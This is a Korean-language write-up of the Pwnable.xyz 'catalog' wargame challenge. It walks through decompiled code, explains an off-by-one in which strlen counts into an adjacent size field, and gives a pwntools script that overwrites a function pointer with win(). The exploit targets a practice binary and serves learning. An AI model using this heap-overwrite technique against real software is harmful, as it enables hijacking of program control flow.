tmxklab
[Pwnable.xyz] catalog 본문
1. 문제
nc svc.pwnable.xyz 30023
1) mitigation 확인
2) 문제 확인
- name을 저장하고 수정하고 출력할 수 있는 프로그램인 것 같다.
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int i; // [rsp+Ch] [rbp-14h]
int j; // [rsp+10h] [rbp-10h]
int v7; // [rsp+18h] [rbp-8h]
int v8; // [rsp+1Ch] [rbp-4h]
setup(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = read_int32();
if ( v3 != 1 )
break;
write_name();
}
if ( v3 <= 1 )
break;
if ( v3 == 2 )
{
for ( i = 0; catalog[i]; ++i )
;
printf("index: ");
v7 = read_int32();
if ( v7 >= 0 && v7 < i )
edit_name((size_t *)catalog[v7]);
else
puts("Invalid index");
}
else if ( v3 == 3 )
{
for ( j = 0; catalog[j]; ++j )
;
printf("index: ");
v8 = read_int32();
if ( v8 >= 0 && v8 < j )
(*(void (__fastcall **)(_QWORD))(catalog[v8] + 40LL))(catalog[v8]);
else
puts("Invalid index");
}
else
{
LABEL_25:
puts("Invalid");
}
}
if ( v3 )
goto LABEL_25;
return 0;
}
- 1번 메뉴 : write_name()호출
- 2번 메뉴 : 인덱스에 대한 입력 값을 v7에 받고 0 ≤ v7 < i에 만족하면 catalog[v7]을 파라미터로 edit_name()호출
- 3번 메뉴 : 인덱스에 대한 입력 값을 v8에 받고 0 ≤ v8 < i에 만족하면 catalog[index]→print_name()을 호출
3-2) write_name()
size_t *write_name()
{
size_t v0; // rdx
size_t *result; // rax
int i; // [rsp+4h] [rbp-Ch]
size_t *s; // [rsp+8h] [rbp-8h]
s = (size_t *)malloc(0x30uLL);
for ( i = 0; catalog[i]; ++i )
;
catalog[i] = s;
s[5] = (size_t)print_name;
s[4] = 0x20LL;
edit_name(s);
v0 = strlen((const char *)s);
result = s;
s[4] = v0;
return result;
}
- s에 0x30만큼 malloc한 청크의 주소 넣는다.
- 다시 catalog[i]에 청크의 주소를 넣고 s[5]에는 print_name(), s[4]에는 0x20을 저장
- s를 파라미터로 edit_name()호출
- 마지막으로 s[4]에 s의 길이를 저장
3-3) edit_neme()
ssize_t __fastcall edit_name(size_t *a1)
{
printf("name: ");
return read(0, a1, a1[4]);
}
- a1에 a1[4]만큼 입력 값을 저장
전역변수)
- catalog : 0x602280
2. 접근방법
해당 문제는 로직 버그를 이용하여 문제를 풀 수 있으며 로직 버그는 write_name()에서 발생한다.
write_name()
*((_QWORD *)s + 4) = 0x20LL;
edit_name(s);
v0 = strlen(s);
result = s;
*((_QWORD *)s + 4) = v0;
- s에는 malloc한 청크의 주소가 담겨져 있다.
- 처음에 *((_QWORD *)s + 4) 에 0x20 값을 저장한다.
- edit_name(s)에서 read(0, s, s[4]) 0x20만큼 s에 입력 값을 저장할 수 있다.
- s의 문자열 길이를 s[4]에 다시 저장한다.
- 만약 0x20만큼 입력 값을 꽉 채우면 strlen(s)에 의해 마지막 s[4]에 저장된 0x20에 의해 0x21로 반환 될 것이고 s[4]에는 다시 0x21로 저장된다.
- 현재 0x20만큼 입력 값을 s에 저장한 상황이다. 아직까진 s[4]에는 0x21이 저장되어 있다.
- s[4] = strlen(s)을 수행한 이후이다. s[4]에는 0x21로 값이 변경된 것을 확인할 수 있다.
- 이후에 edit_name()을 하게 되면 read(0, s, 0x21)로 수행되어 s변수의 size값을 조절할 수 있다.
따라서, size값이 저장된 s[4]다음의 s[5]에 기존에 print_name()의 주소 값이 저장되어 있는데 이거를 win()로 변경할 수 있고 메뉴 3을 통해 win()를 실행할 수 있다.
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30023)
e = ELF("./challenge")
#gdb.attach(p)
# 1. change size
p.sendlineafter("> ", str(1))
p.sendafter(": ", "A"*0x20)
p.sendlineafter("> ", str(2))
p.sendlineafter(": ", str(0))
p.sendafter(": ", "A"*0x20 + "\xff")
# 2. change print_name() -> win()
p.sendlineafter("> ", str(2))
p.sendlineafter(": ", str(0))
p.sendafter(": ", "A"*0x28+p64(e.symbols['win']))
# 3. execute win()
p.sendlineafter("> ", str(3))
p.sendlineafter(": ", str(0))
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] executioner (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] punch it (0) | 2020.09.09 |
[Pwnable.xyz] PvP (0) | 2020.09.09 |
[Pwnable.xyz] bookmark (0) | 2020.09.09 |
[Pwnable.xyz] rwsr (0) | 2020.09.09 |
Comments